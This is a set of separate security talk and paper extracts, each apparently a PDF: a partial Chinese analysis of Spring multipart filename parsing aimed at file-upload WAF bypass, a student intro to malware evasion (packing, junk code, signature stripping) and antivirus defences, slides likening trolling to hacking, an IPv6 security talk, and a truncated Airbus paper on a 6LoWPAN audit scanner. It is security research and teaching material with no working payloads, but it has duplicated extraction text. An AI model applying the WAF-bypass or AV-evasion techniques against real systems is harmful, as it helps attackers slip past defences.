//截取filename=后⾯的内容                String filename = contentDisposition.substring(startIndex + key.length());                int endIndex;             //如果后⾯开头是“则截取”“之间的内容                if (filename.startsWith("\"")) {                    endIndex = filename.indexOf("\"", 1);                    if (endIndex != -1) {                        return filename.substring(1, endIndex);                   }               } else {                  //可以看到如果没有“”包裹其实也可以,这和当时陈师分享的其中⼀个 trick是符合的                    endIndex = filename.indexOf(";");                    if (endIndex != -1) {                        return filename.substring(0, endIndex);                   }               }                return filename;           }       }   } 同时由于indexof默认取第⼀位,因此我们还可以加⼀些⼲扰字符尝试突破waf逻辑 如果filename*开头但是spring4当中没有关于url解码的部分 没有这部分会出现什么呢?我们只能⾃⼰发包前解码,这样的话如果出现00字节就会报错, 报错后 看起来是spring框架解析header的原因,但是这⾥报错信息也很有趣将项⽬地址的绝对路径抛 出了,感觉不失为信息收集的⼀种⽅式 Spring5 也是随便来个新的springboot2.6.4的,来看看spring5的,⼩版本间差异不测了,经过测试发现 spring5和spring4之间也是有版本差异处理也有些不同,同样是在 parseRequest private void parseRequest(HttpServletRequest request) {        try {            Collection<Part> parts = request.getParts();            this.multipartParameterNames = new LinkedHashSet(parts.size());            MultiValueMap<String, MultipartFile> files = new LinkedMultiValueMap(parts.size());            Iterator var4 = parts.iterator();            while(var4.hasNext()) {                Part part = (Part)var4.next();                String headerValue = part.getHeader("Content- Disposition");                ContentDisposition disposition = ContentDisposition.parse(headerValue);                String filename = disposition.getFilename();                if (filename != null) {                    if (filename.startsWith("=?") && filename.endsWith("? =")) {                        filename = StandardMultipartHttpServletRequest.MimeDelegate.decode(filename);                   }                    files.add(part.getName(), new StandardMultipartHttpServletRequest.StandardMultipartFile(part, filename));               } else {                    this.multipartParameterNames.add(part.getName());               }           }            this.setMultipartFiles(files);       } catch (Throwable var9) { 很明显可以看到这⼀⾏ filename.startsWith("=?") && filename.endsWith("?=") , 可以看出Spring对⽂件名也是⽀持QP编码 在上⾯能看到还调⽤了⼀个解析的⽅法 org.springframework.http.ContentDisposition#parse ,多半就是这⾥了,那么继续深⼊下 可以看到⼀⽅⾯是QP编码,另⼀⽅⾯也是⽀持 filename* ,同样获取值是截取 " 之间的或者 没找到就直接截取 = 后⾯的部分 如果是 filename* 后⾯的处理逻辑就是else分之,可以看出和我们上⾯分析spring4还是有点 区别就是这⾥只⽀持 UTF-8/ISO-8859-1/US_ASCII ,编码受限制            this.handleParseFailure(var9);       }   } 但其实仔细想这个结果是符合RFC⽂档要求的 接着我们继续后⾯会继续执⾏ decodeFilename int idx1 = value.indexOf(39); int idx2 = value.indexOf(39, idx1 + 1); if (idx1 != -1 && idx2 != -1) {  charset = Charset.forName(value.substring(0, idx1).trim());  Assert.isTrue(StandardCharsets.UTF_8.equals(charset) || StandardCharsets.ISO_8859_1.equals(charset), "Charset should be UTF-8 or ISO-8859-1");  filename = decodeFilename(value.substring(idx2 + 1), charset); } else {  filename = decodeFilename(value, StandardCharsets.US_ASCII); } 代码逻辑很清晰字符串的解码,如果字符串是否在 RFC 5987 ⽂档规定的Header字符就直接调 ⽤baos.write写⼊ 如果不在要求这⼀位必须是 % 然后16进制解码后两位,其实就是url解码,简单测试即可 参考⽂章 https://www.ch1ng.com/blog/264.html https://datatracker.ietf.org/doc/html/rfc6266#section-4.3 https://datatracker.ietf.org/doc/html/rfc2231 https://datatracker.ietf.org/doc/html/rfc5987#section-3.2.1 https://y4tacker.github.io/2022/02/25/year/2022/2/Java%E6%96%87%E4%BB%B6%E4%B8%8A% E4%BC%A0%E5%A4%A7%E6%9D%80%E5%99%A8-%E7%BB%95waf(%E9%92%88%E5%AF %B9commons-fileupload%E7%BB%84%E4%BB%B6)/ https://docs.oracle.com/javaee/7/api/javax/servlet/http/Part.html#getSubmittedFileName-- attr-char     = ALPHA / DIGIT                   / "!" / "#" / "$" / "&" / "+" / "-" / "."                   / "^" / "_" / "`" / "|" / "~"                   ; token except ( "*" / "'" / "%" ) http://t.zoukankan.com/summerday152-p-13969452.html#%E4%BA%8C%E3%80%81%E5%A4%8 4%E7%90%86%E4%B8%8A%E4%BC%A0%E6%96%87%E4%BB%B6multipartfile%E6%8E%A 5%E5%8F%A3
pdf
惡意程式與防毒軟體之爭 伙計 NISRA 2016 NISRA 教學目的 • 提供同學們資安相關入門知識,並開啟同學們資安研究的興趣 NISRA 要感謝的人太多 那就謝天吧! NISRA 大綱 • 前言 • 我的電腦中毒了!? • 什麼是惡意程式? • 惡意程式的三種躲避偵測原理 • 防毒軟體的三道防禦機制 • 資安相關名詞與工具介紹 • 資安防護的迷思 • 補充:JS木馬簡單分析心得 NISRA 前言 NISRA 前言 NISRA 每一個人心中或多或少,都有中毒恐懼症 NISRA NISRA 不只祖克伯,FBI 局長也在筆電視訊鏡頭貼 膠帶防偷窺 [科技新報] NISRA 敵暗我明,草木皆兵 NISRA 我的電腦中毒了!? • 電腦速度變慢 • 系統不穩定、常當機 • 出現不明視窗、廣告 • 首頁被綁架 • 防毒軟體跳出警告、或「被」消失 • 出現要求付贖金畫面 • 用起來很正常 NISRA 什麼是惡意程式? • 影響使用者的電腦 • 影響使用者的資料或財產 • 影響使用者的隱私 安全 NISRA 病毒、特洛伊木馬、蠕蟲 會偷偷傳送使用者資料 會感染或破壞使用者檔案 會運用漏洞或網路主動散播自己 NISRA 統稱為「惡意程式」 • 病毒、特洛伊木馬、蠕蟲 • 病毒產生器 • 病毒下載器 • 瀏覽器綁架 • 廣告程式 • 鍵盤側錄器 • 間諜程式等等 NISRA 惡意程式常見的三種躲避偵測方法 • 加殼 • 加花 • 去除特徵 NISRA 加殼 • 保護檔案,不被破解 • 加密殼、壓縮殼 • 外殼程式包裹著被保護的程式 • 防毒軟體無法辨識內容物 • 常見加殼軟體—UPX、ASPACK 被保護的檔案 NISRA 加花 • 程式碼中塞入無意義的指令 • 影響防毒軟體的偵測與工程師的 分析 NISRA 加花 • 程式碼中塞入無意義的指令 • 影響防毒軟體的偵測與工程師的 分析 題目:我的夢想 第一行:請從第四行開始閱讀 第二行:請到第412行開始閱讀 第三行:請從第五行開始閱讀 第四行:請到1+1+sin 90° 行開始閱讀 第五行:我夢想每天睡到自然… NISRA 去除特徵 • 修改被防毒廠商定義為特徵的程 式碼 • 針對特定防毒軟體來達成免殺 • 免殺能力強 • 惡意程式 NISRA 防毒軟體的三道防禦機制 已知病毒偵測 未知病毒偵測 行為偵測 NISRA 已知病毒偵測病毒碼 • 防毒軟體辨識病毒的基本方法 • 防毒公司會依每個病毒的特徵給予獨一無二 的病毒特徵碼 • 不同防毒軟體無法通用 NISRA 已知病毒偵測病毒碼 NISRA 未知病毒偵測基因偵測、啟發式偵測 基因偵測 • 現有已知病毒中,尋找共同的特 徵,作為基因偵測病毒碼 啟發式掃描 • 啟發式(Heuristic)是指探索和發現的 行為過程 • 依靠經驗,並在失敗中不斷學習的過 程 • 不倚靠病毒碼來檢測 • 啟發式引擎用本身的規則庫,以靜態 分析樣本代碼的方式,來偵測惡意程 式 NISRA 基因偵測 • 假設 3A 20 B2 9C 55 FF 08 13 7B 58 1D -> Trojan • 假設 3A 20 B2 9C 55 FF 08 ->GEN • BC 15 0C 3A 20 B2 9C 55 FF 08 13 7B 58 1D • CA 03 14 AA 3A 20 B2 9C 55 FF 08 43 2D FC NISRA 啟發式掃描  修改註冊表  對外連線  更改系統檔案  安裝驅動程式  生成新執行檔並執行  刪除自己 總分:________ NISRA 行為偵測HIPS主動式入侵防禦系統 • hostbased intrusion prevension system • 現今防毒軟體最終且最重要的防禦技術 • 監控系統程序,阻止異常行為 NISRA NISRA 防毒軟體的三道防禦機制 已知病毒偵測 未知病毒偵測 行為偵測 白名單 NISRA 雲端白名單 NISRA 防毒軟體的三道防禦機制 已知病毒偵測 未知病毒偵測 行為偵測 白名單 靜 態 分 析 動 態 分 析 NISRA 資安相關名詞與工具介紹 • 防火牆 • 社交工程與網路釣魚 • 假防毒軟體 • Zero Day 漏洞 • 蜜罐 • 沙盤與虛擬機 • AV-TEST • VirusTotal • Payload security NISRA 防火牆 • 隔離網路,過濾網路中傳送的封包 老闆:不是有防 火牆嗎? NISRA 社交工程與網路釣魚 • 獲取使用者信任的欺騙行為 • 假冒客服電話 • 假的好友訊息 • 假的官方郵件 • 假的正常網頁 • www.staysecureonline.com/staying-safe-online NISRA 假防毒軟體 NISRA 假防毒軟體 NISRA NISRA NISRA NISRA NISRA NISRA ZERO-DAY漏洞 (零天漏洞) • 先前未知、未發現的漏洞 漏洞被 發現 漏洞被 修復 危險期 NISRA 蜜罐 • 具有漏洞的主機 • 吸引駭客的入侵 • 紀錄駭客的攻擊方式,並收集惡意程式 虛擬機 • 在作業系統上另外在模擬一台虛擬電腦,兩者互不影響 硬體 作業系統 虛 擬 機 虛 擬 機 瀏 覽 器 播 放 器 NISRA 沙箱 • 在當前系統下創造一個虛擬環境(sandbox) • 在沙盤內運行的程式,所做的修改都會隔離於 沙盤內 • 強力推薦sandboxie NISRA 單一檔案線上掃描工具-VirusTotal NISRA 線上沙盤分析 NISRA 最後 • 1+1<2 • 養成良好習慣 • 不點奇怪連結、奇怪廣告、奇怪信件、奇怪檔案 • 隨手更新 NISRA
pdf
Beyond the Lulz: Black Hat Trolling, White Hat Trolling, and Hacking the Attention Landscape SECTION 1 Are you familiar with fishing? Trolling is where you set your fishing lines in the water and then slowly go back and forth dragging the bait and hoping for a bite. Trolling on the Net is the same concept - someone baits a post and then waits for the bite on the line and then enjoys the ensuing fight. - Anonymous usenet poster, 1995 (relayed by Judith Donath, Identity and Deception in the Virtual Community, 1998) The well-constructed troll is a post that induces lots of newbies and flamers to make themselves look even more clueless than they already do, while subtly conveying to the more savvy and experienced that it is in fact a deliberate troll. If you don't fall for the joke, you get to be in on it. - Troller’s FAQ by trollfaq@altairiv.demon.co.uk, 1996 Being a prick on the internet because you can. Typically unleashing one or more cynical or sarcastic remarks on an innocent by-stander, because it’s the internet and, hey, you can. - EREALLY GUD DEFUNITION MAKUR, Urban Dictionary, 2004 A smart vendor treats vulnerabilities less as a software problem, and more as a PR problem. So if we, the user community, want software vendors to patch vulnerabilities, we need to make the PR problem more acute. - Bruce Schneier, 2007 Laughter at the expense or misfortune of others. - A troll to Gabriella Coleman, Hacker, Hoaxer, Whistleblower, Spy, 2014 Part of: a rich aesthetic tradition of spectacle and transgression... which includes the irreverent legacy of phreakers and the hacker underground. - Gabriella Coleman, Phreaks, Hackers, and Trolls: The Politics of Transgression and Spectacle,’ 2012 The best challenge to the authority of something is to find where its semantic or enforceable borders break down and to exploit those shortcomings. - Brad Troemel, proclaimed the “Troll of Internet Art,” 2012 We’ve come up with the menacing term 'troll' for someone who spreads hate and does other horrible things anonymously on the internet. - Adrian Chen, MIT Technology Review, 2014 Until sensationalist, exploitative media practices are no longer rewarded with page views and ad revenue—in short, until the mainstream is willing to step in front of the funhouse mirror and consider the contours of its own distorted reflection—the most aggressive forms of trolling will always have an outlet, and an audience. - Whitney Phillips, This Is Why We Can’t Have Nice Things, 2015 - Users looking to govern or police their communities - Hackers looking to corral attention or pressure vendors - Subcultural trolls looking for ‘lulz’ - Artists looking to critique cultural practices - Political actors looking to destabilize public sphere - Political actors looking to corral attention or attack opponents • Troll • Bait • Target • Third-party to interpret the exchange • Intended outcome • (Possible amplification) • (Possible political reframing and subsequent amplification) • “Cognitive Hacking”? (Cybenko, et al) • “Attention Hacking”? (boyd) • “Cognitive Denial of Service”? (Waltzman) • Exploiting Socio-Technical “Vulnerabilities”? • A bug or a feature? - Poe’s Law - Context Collapse - Network Anonymity and Ephemerality - Cross Platform Ambiguity - Attention Economics (high cost of verification) - Lack of Trust • Draw attention to ignored issues (agenda setting) • Distract attention from issues • Put pressure on entity (security economics) (accountability) • Draw a telling response (transparency) • Deny a response • Diminish an opponent’s resources or morale • Design ?vulnerabilities? • Intent (public good) vs. Reality (profit) • “Latent affordances” • Trolling is to socio-technical systems what hacking is to technical systems • What lessons are translatable? SECTION 2 WHITE HAT TROLL? • Agenda Setting (from below) • Attention is a scarce resource (attention economics) • Legacy gatekeepers (media) compete with an emergent class of network (social media) gatekeepers to direct attention. • Trolling as social engineering: gaining access (via gatekeepers) to the resources of a closed system (their audience) • Newspaper editors and reporters • Platform designers / vendors • Platform algorithms • Content moderators • Advertisers • Anyone with framing or curating capacity (i.e.: Users) Karine Barzilai-Nahon, 2008 • Exploiting or detourning gatekeeper vulnerabilities to affect readers / users • Eliciting changes to gatekeeping practices • Disclosing dynamics inherent to gatekeeping • Posing as gatekeepers • Capturing legacy gatekeeper resources / audiences • Clickbait / ”Bleeding Leads” / Breaking News • Network curation • Asymmetric cost to debunk • Automated amplification (bots) • Adtech • Context collapse / Poe’s Law / Anonymity • Pepe as a Trojan Horse • Vulnerabilities all the way down? • Where does securitization stop? • What is gatekeeper responsibility to users? • Is this codified? How? • Is paternalistic gatekeeping inherently authoritarian? • Is network gatekeeping inherently democratic? • When is gatekeeping in the public interest? SECTION 3 • Non-prescribed engagement • Push private agenda • Counter to target’s interest • Non-prescribed engagement • Demonstrate attack surface (proof of concept) • Trolling as revelatory moment • Increase pressure on gatekeepers • Troll back • Sense of public interest? • Align system with intent • Disclose vulnerabilities selectively to platforms / journalists • Disable possibility of non-prescribed engagement through research and education • Reduce attack surface • Create a discursive “patch” (i.e. Godwin’s Law) • Who? • What are the incentives? • Who is being tasked to respond? • What is the form of disclosure? • Whose interest is served? • How do ”the lulz” figure in? • What are the ethics of fun at others’ expense? • Has the adoption of trolling as a propaganda technique by states and political radicals changed the possibility of just “doing it for the lulz”? Hacking for fun? SECTION 4 • Political Maneuvering • Chaos / Scorched Earth • Perception Management • Denial of Service • Lulz / Drama • Agenda Setting / Priming • Incitement • Response seeking • Community building • Community governance • Demoralization / Outrage • Profit??? • Source Hacking / Journobaiting • Attentional Honeypots • Keyword Squatting • Capturing the Narrative • Cognitive Denial of Service • Brute Force Harassment • Ironical Bait & Switch • Gaming Databases / Algorithmic Control • Memetic Trojan Horses • Controlled Opposition • Driving a Wedge • Concern Trolling • Brigading / Dogpiling • Sockpuppetry • Jiu Jitsu / Self-Victimization • Doxing • Context Distortion • Deep Fakes / Photoshops SECTION 5 • A bug or a feature? • Is trolling a problem? • Or is this how networked media dynamics are supposed to work? • Do nothing • Incentivize trolling from diverse perspectives • A trolling arms race • A trolling code of ethics • Technical re-design • Policy change • Content moderation • Media literacy (for users and gatekeepers?) • Norms like “Don’t Feed the Trolls” / “Strategic silence” • Regulation • Institutionalized trust and verification • Right to speech ≠ Right to amplification? • Media Literacy vs. Attention Economics? • Network Gatekeeping vs. Paternalism? • What Public Interest? What Ethical system? Which Establishment? • Who discloses, how, to whom, to what end? • Right to free speech with your one mouth? • Right to amplification of that speech? • Monopolization of attention = DOS of other’s free speech? • Finite lifetime problem • Can’t verify/investigate every claim • Inflammatory lies stickier and more profitable • Moderation under counts • No moderation over counts • Do-it-yourself moderation tends to tribalism? • Lessons from Computer Fraud and Abuse Act? • Chilling Effect? • Trolls, Platforms, Journalists? • Negative externalities? • Current laws in place? • To who’s standards? • Addressing what issues? • Informed by red teaming “white hat trolls?” • Informed by external pressure from “gray hat trolls?” • Proof of Concept? • Full disclosure? Security Economics? • Markets? • Selective Disclosure? Security Research? • Bounty Programs? Penetration Testing? Auditing? • Professionalization? • White Hats, Gray Hats, Black Hats? • More Positions, More Issues • Politics of Spectacle • Agonistic Politics • Race to the Bottom? • Norms or Codes of Ethics? All of the above but none too well – cracks are where the light gets through! APPENDIX • Security Economics • Politics of Spectacle / Security Economics • Security Economics • Keyword Squatting • Keyword Squatting • Scorched Earth • Algorithmic Gaming • Critical Trolling • Critical Trolling • Critical Trolling • Counter Meme • Source Hacking • Counter Trolling • Lulz or Retroactive Proof of Concept • Lulz or Proof of Concept • Attention Hacking • Critical Trolling • Cognitive Denial of Service • Ruin Life Campaign • Attention Hacking • Weaponized Irony • Jiu Jitsu • Source Hacking • Attention Hacking • Lulz? • Brute Force Provocation • News Spamming / Counter Framing • Concern Trolling • Concern Trolling • Denial of Service / Harassment • Concern Trolling / Ethnography • Politics of Spectacle • Approved Trolling • Humor as Incidental Troll
pdf
Who Cares Who Cares About IPv6? About IPv6? Sam Bowne Sam Bowne City College San Francisco City College San Francisco Part I Part I Who Cares? Who Cares? IPv4 Addresses: 32 Bits IPv4 Addresses: 32 Bits IPv4 address: IPv4 address: 192.168.1.10 192.168.1.10 Four bytes Four bytes In Binary: In Binary: 11000000 10101000 00000001 00001010 11000000 10101000 00000001 00001010 2^32 total addresses 2^32 total addresses 4 billion 4 billion Are you kidding? There are 7 billion Are you kidding? There are 7 billion people, they each need people, they each need iPads iPads, cell phones, , cell phones, Google brain chip implants, etc Google brain chip implants, etc… … IPv6 Addresses: 128 Bits IPv6 Addresses: 128 Bits IPv6 address IPv6 address 2001:05c0:1000:000b:0000:0000:0000:66fb 2001:05c0:1000:000b:0000:0000:0000:66fb Omitting unnecessary zeroes; Omitting unnecessary zeroes; 2001:5c0:1000:b::66fb 2001:5c0:1000:b::66fb Eight fields, each 16 bits long Eight fields, each 16 bits long 4 hexadecimal characters 4 hexadecimal characters 2^128 total addresses 2^128 total addresses 256 billion 256 billion billion billion billion billion billion billion Enough for a while Enough for a while IPv4 Exhaustion As of 6-30-2010, 16 "/8 address ranges" remain Each /8 has 16.8 Million Addresses 205 /8s already allocated 35 Reserved for special uses From link Defcon-talk 3 The End is Near The End of the World No Reprieve IANA will not re-purpose class D or E addresses for general use People who ask for IPv4 addresses after exhaustion will not get them Hoarding, scalping, and simple direct sale of IPv4 addresses will begin soon From link From link Defcon Defcon--talk 4 talk 4 Federal IPv6 Transition Timeline From Cisco (link Defcon-talk 2) Summary Summary of Part I of Part I IPv4 is Full IPv4 is Full Image from zinyaw.files.wordpress.com Part II Part II What Now? What Now? Methods of IPv6 Migration Ignore IPv6: Stay on IPv4-only Gateways: Devices that convert IPv6 to IPv4 Tunnel IPv6 over IPv4 Dual-Stack: IPv4 and IPv6 together Nirvana: IPv6-only IPv6 Tunnels Fast and easy to set up--best for n00bs Not the best for security or performance Free IPv4-to-IPv6 Tunnels Gogo6.com Sixxs.net Tunnelbroker.com Links Defcon-talk 5-7 GoGo6 Easiest Demonstration Demonstration IPv6 Certifications Fun, realistic projects He.net Link Defcon-talk 12 IPv6 Certifications Part III Part III Security Problems Security Problems Used by Ethernet Privacy Risk Anyone who has your IP address also has your MAC address! There is a "Privacy Extensions" technique to avoid this, enabled by default in Vista and Windows 7 ICMPv6 Required for all networks Cannot be blocked Replaces ARP "Neighbor Discovery" is trivial THC-IPv6 Hacker's Toolkit Runs fine on Ubuntu, even in VMware on Windows 7 Instructions: link Defcon-talk 8 Other Risks Many security appliances are not ready for IPv6, so it often bypasses them Torrents run over IPv6 Link Defcon-talk 9 Some VPN appliances are not ready, so IPv6 connections must bypass them Packet Amplification Attacks Routing Header Zero Ping-pong Links Defcon-talk 10 and 11 Contact Contact Sam Bowne Sam Bowne Computer Networking and Information Computer Networking and Information Technology, City College San Francisco Technology, City College San Francisco Email: Email: sbowne@ccsf.edu sbowne@ccsf.edu Twitter: @ Twitter: @sambowne sambowne This whole talk and all the referenced links This whole talk and all the referenced links are on my Web site: are on my Web site: samsclass.info samsclass.info Click " Click "Defcon Defcon Materials" Materials"
pdf
Auditing 6LoWPAN Networks using Standard Penetration Testing Tools Adam Reziouk Airbus Defence and Space adam.reziouk@airbus.com Arnaud Lebrun Airbus Defence and Space arnaud.lebrun@airbus.com Jonathan-Christofer Demay Airbus Defence and Space jcdemay@airbus.com ABSTRACT The Internet of Things is expected to be involved in the near future in all major aspects of our modern society. On that front, we argue that 6LoWPAN is a protocol that will be a dominant player as it is the only IoT-capable protocol that brings a full IP stack to the smallest devices. As evidence of this, we can highlight the fact that even the latest ZigBee Smart Energy standard is based on ZigBee IP which itself relies on 6LoWPAN, a competitor of the initial ZigBee protocol. Efficient IP-based penetration testing tools have been available to security auditors for years now. However, it is not that easy to use them in the context of a 6LoWPAN network since you need to be able to join it first. In fact, the difficult part is to associate with the underlying IEEE 802.15.4 infrastructure. Indeed, this standard already has two iterations since its release in 2003 and it provides with several possibilities regarding network topology, data transfer model and security suite. Unfortunately, there is no off-the-shelf component that provides, out of the box, with such a wide range of capabilities. Worst still, some of them deviate from the standard and can only communicate with components from the same manufacturer. In this paper, we present the ARSEN project: Advanced Routing for 6LoWPAN and Ethernet Networks. It provides security auditors with two new tools. First, a radio scanner that is capable of identifying IEEE 802.15.4 networks and their specificities, including several deviations from the standard that we encountered in actual security audits. Secondly, a border router capable of routing IPv6 frames between Ethernet and 6LoWPAN networks while adapting to the specificities identified by the scanner. The combination of both effectively allows security auditors to use available IP-based penetration testing tools on different 6LoWPAN networks. CCS Concepts • Networks➝Mobile and wireless security • Security and privacy➝Security protocols • Security and privacy➝Penetration testing. Keywords IEEE 802.15.4; 6LoWPAN; Smart metering; Security Audit. 1. INTRODUCTION The Internet of Things (IoT) is expected to encompass all major aspects of modern societies in the near future. As of today, there already are applications in a great variety of fields, such as personal health and fitness monitoring, home and building automation, metering infrastructure, etc. It is the so-called smart approach: smart homes, smart buildings, smart cities, smart grids, smart wearables, etc. All these approaches need, at least to some extent, to rely on Low-Rate Wireless Personal Area Networks (LR-WPANs). Among them, the 6LoWPAN protocol, relying on the IEEE 802.15.4 standard, is the only one that brings a full IP stack to the smallest devices. We thus argue that it will certainly play a major role in supporting the growth of IoT technologies. Auditing a 6LoWPAN network could be perceived as an easy task: you only need to use an appropriate adapter that connects you to the network, just like you would do with a Wi-Fi network, and then, since the communications are IP-based, you could just rely on standard penetration testing tools. This view could not be further from the truth. As previously stated, the 6LoWPAN protocol relies on the IEEE 802.15.4 standard for the PHY layer and the MAC sublayer. However, the IEEE 802.15.4 standard provides IoT architects with a range of possibilities regarding network topology, data transfer model and security suite. Moreover, it has rapidly evolved since its release in 2003 [1] with already two revisions of the standard, in 2006 [2] and in 2011 [3], which are incompatible with the initial version. Consequently, to be usable in any situation, the aforementioned adapter must be able to support all of these configurations. Unfortunately, there is no off-the-shelf component that provides such a wide range of capabilities. Then, we might want to consider using a different specific adapter for each encountered 6LoWPAN network. However, from an auditing point of view, without prior access to the RF module the network relies on, this may not be an easy task either to guess the specificities of the IEEE 802.15.4 underlying infrastructure and thus to identify an appropriate adapter. That is essentially the goal of the ARSEN project or Advanced Routing for 6LoWPAN and Ethernet Networks: to provide security auditors with the means to connect to any existing 6LoWPAN networks by supporting a wide range of IEEE 802.15.4 configurations and MAC-sublayer attacks. Featured later on in this paper are the design of ARSEN tools and a typical use case. 2. REVIEW OF COMPONENTS In order to join a 6LoWPAN network, the first challenge resides in the successful association with the underlying IEEE 802.15.4 infrastructure. That is why the first component of the ARSEN project is an IEEE 802.15.4 scanner capable of identifying and inferring all the required information that is needed to forge valid IEEE 802.15.4 frames (see section 3 for details). Once associated with a particular IEEE 802.15.4 infrastructure, the second challenge resides in the successful translation of frames from the IPv6 format to the 6LoWPAN format and vice-versa. That is why the second component of the ARSEN project is a border router capable of adapting to the specificities of different IEEE 802.15.4 networks, based on the information provided by the scanner (see section 4 for details). Before digging into the details of both of these tools, we first here briefly present Scapy-radio [7], the underlying component on which they both rely. Basically, Scapy-radio [7] is a wireless packet manipulation framework not confined to a specific protocol: it can deal with multiple bands, multiple modulations, multiple bitrates and multiple types of network frames. Such versatility is achieved by combined two well-known tools: GNU Radio [8], a signal-processing development toolkit and Scapy [9], a framework already widely used by the penetration testing community. They are described hereafter. 2.1 GNU RADIO A radio communication system where the signal-capturing components are software-configurable and the signal-processing components are software-implemented is called a Software Defined Radio (SDR). GNU Radio [8] is an open-source software development kit that provides a great number of signal processing blocks to implement SDRs. While performance-critical signal-processing blocks are written using C++, GNU Radio is designed to write radio applications using Python. More specifically, radio applications can be prototyped with a graphical UI, the GNU Radio Companion (GRC). In the previous release of Scapy-radio [7], a GRC flow graph to modulate and demodulate the IEEE 802.15.4 PHY layer was already provided. Therefore, there was nothing further to be implemented on that front. 2.2 SCAPY Scapy [9] is an interactive packet manipulation framework written using Python. It can capture, decode, forge and inject packets while matching requests and replies for a broad range of network protocols. It can also handle various network tasks such as probing, scanning, tracerouting, fuzzing, etc. Because it makes it possible to quickly prototype new networking tools, it was the perfect basis on which to build both the scanner and the border router. In the previous release of Scapy-radio [7], publicly available IEEE 802.15.4 and 6LoWPAN layers were included. However, these layers were incomplete and failed to cover many possibilities offered by both standards. That is why they both have been completely rewritten from scratch in order the meet our requirements. 3. THE IEEE 802.15.4 SCANNER The role of the scanner is to maintain an IEEE 802.15.4 network database in which are stored and organized every captured frames as well as all the information it has been able to infer from. At the end of a scan, the user is provided with all the determining information which, when combined together, should let him know about:  Which devices are running on a given channel;  Which devices are communicating with each other;  Which types of frames are exchanged between devices (and the parameters that are used to transmit these frames); To that end, the network database is used to maintain a list of devices the scanner was able to detect. For each device, the following attributes are stored: id, several addressing information, parameters related to the device type and a list of recipients. A recipient is a device which has been receiving one or more frames from an originator. Similarly, for each recipient, the following attributes are stored: the id of the corresponding device and a list of transmissions. A transmission is a set of parameters describing the type of the frame and the mechanism by which it has been sent by the originator device, a frame counter, and a buffer in which are stored every frame sent with the same unique parameters. Figure 1 is showing diagrams summarizing the relational model used to store information within the database. Figure 1. The relational model of the IEEE 802.15.4 database In the next subsections, we focus on describing each key element the scanner is intended to retrieve, how the scanner is actually retrieving this information and how it could be useful for a security auditor. It is worth noting that for each following section, when talking about captured frames, we excluded the acknowledgement frames. 3.1 DEVICES THAT ARE RUNNING ON A GIVEN CHANNEL For the scanner, the very first step is to detect a maximum of devices running on the given IEEE 802.15.4 channel by analyzing captured frames using several approaches that are described hereafter. Device +id: integer +addr16: integer +addr64: integer +panid: integer +coord: bool +pancoord: bool +beacon_enabled: bool +recipients: List of Recipient instances Device +id: integer +addr16: integer +addr64: integer +panid: integer +coord: bool +pancoord: bool +beacon_enabled: bool +recipients: List of Recipient instances NetworkDataBase +devices: List of Device instances Device +id: integer +addr16: integer +addr64: integer +panid: integer +coord: bool +pancoord: bool +beacon_enabled: bool +recipients: List of Recipient instances Recipient +device_id: integer +transmissions: List of Transmission instances Recipient +device_id: integer +transmissions: List of Transmission instances Device +id: integer +addr16: integer +addr64: integer +panid: integer +coord: bool +pancoord: bool +beacon_enabled: bool +recipients: List of Recipient instances Recipient +device_id: integer +transmissions: List of Transmission instances Transmission +frame_type: integer +frame_subtype: integer +security_enabled: bool +security_level: integer +version: integer +srcaddrmode: integer +destaddrmode: integer +transmission_scheme: integer +timing_information: timing info about transfer +frame_counter: integer +packets_buffer: List of packets (scapy instances) Transmission +frame_type: integer +frame_subtype: integer +security_enabled: bool +security_level: integer +version: integer +srcaddrmode: integer +destaddrmode: integer +transmission_scheme: integer +timing_information: timing info about transfer +frame_counter: integer +packets_buffer: List of packets (scapy instances) Recipient +device_id: integer +transmissions: List of Transmission instances Transmission +frame_type: integer +frame_subtype: integer +security_enabled: bool +security_level: integer +version: integer +srcaddrmode: integer +destaddrmode: integer +transmission_scheme: integer +timing_information: timing info about transfer +frame_counter: integer +packets_buffer: List of packets (scapy instances) 3.1.1 THE ORIGINATOR The scanner checks if it can find in the database a device sharing the same addressing information than the source addressing information of the captured frame. Note that addressing information includes the source PANId and, depending of the source address mode, the source address. When source address is missing, that means that the frame has originated from the PAN Coordinator. In this case, rather than looking for a device using its address and its PANId as an entry key, the database is requested to look for a PAN coordinator with a given PANId. If such device does not exist, a new one is registered with the appropriate information: either the couple PANId/Address or the couple PANId/PAN-Coordinator. In addition, depending on the frame type, several others information may be specified. In fact, when captured frame is a beacon, it is possible to infer the nature of the originator (PAN coordinator or coordinator) and the beacon interval if the network is a beacon-enabled one. If such device is found, it may be updated with additional potential inferred information such as the long address, the short address and the nature of the device. 3.1.2 THE RECIPIENT Note that with this approach, beacons are excluded because they do not carry any useful information for that step. The scanner checks if it can find in the database a device sharing the same addressing information than the destination addressing information of the captured frame. It is worth mentioning that addressing information includes the destination PANId and, depending of the destination address mode, the destination address. When destination address is missing, that means that the frame is directed to the PAN Coordinator. In this case, rather than looking for a device using its address and its PANId as an entry key, the database is requested to look for a PAN coordinator with a given PANId. If such device does not exist, a new one is registered by the tool with the appropriate information: either the couple PANId/Address or the couple PANId/PAN-Coordinator. If such device is found, it may be updated with additional potential inferred information such as the long address, the short address and the nature of the device. 3.1.3 THE BEACONS How the transfers are implemented depends on the network support for the transmission of beacons. A beacon-enabled PAN is used when synchronization or low-latency is required. When that is not the case, a network may not use beacons for normal transfers, but they are still required for network discovery. That is why they can be useful to gather information on a specific PAN. 3.1.3.1 THE GUARANTEED TIME SLOTS In a beaconing network, devices may request the PAN coordinator for the allocation of a Guaranteed Time Slot (GTS). A device can infer that it actually owns a GTS if its address is contained in the GTS fields of the periodic beacons. The scanner is able to recover the addresses of the GTS owners by simply reading the corresponding fields of the captured beacons. The PANId of each GTS owner is inferred from the beaconing coordinator’s PANId. Both the addresses and the PANId being retrieved, the scanner can register the new devices in the database. If a device is already registered in the database, the scanner does nothing. It is worth noting that, such a mechanism cannot be processed by the scanner if beacon payloads are encrypted. 3.1.3.2 THE PENDING ADDRESSES When a coordinator wishes to transfer data to a device in a beacon-enabled PAN, it may use three types of transmission models and among them the indirect one. In an indirect transmission scheme, the coordinator maintains in its periodic beacons a list of device addresses for which data are pending, and wait for the corresponding devices to request the data. The scanner takes advantage of this feature to infer the presence of devices on the network. Each time a beacon is captured, the pending addresses field is read and new devices can be registered in the database. Note that for each discovered address, the PANId is inferred from the corresponding coordinator PANId. If a device is already registered in the database, the scanner does nothing. 3.1.4 THE ASSOCIATION PROCEDURE Each IEEE 802.15.4 device owns a unique 64-bit extended address but a 16-bit short address may also be allocated by the coordinator when the device associates. Both of these two addresses may be used for transmission 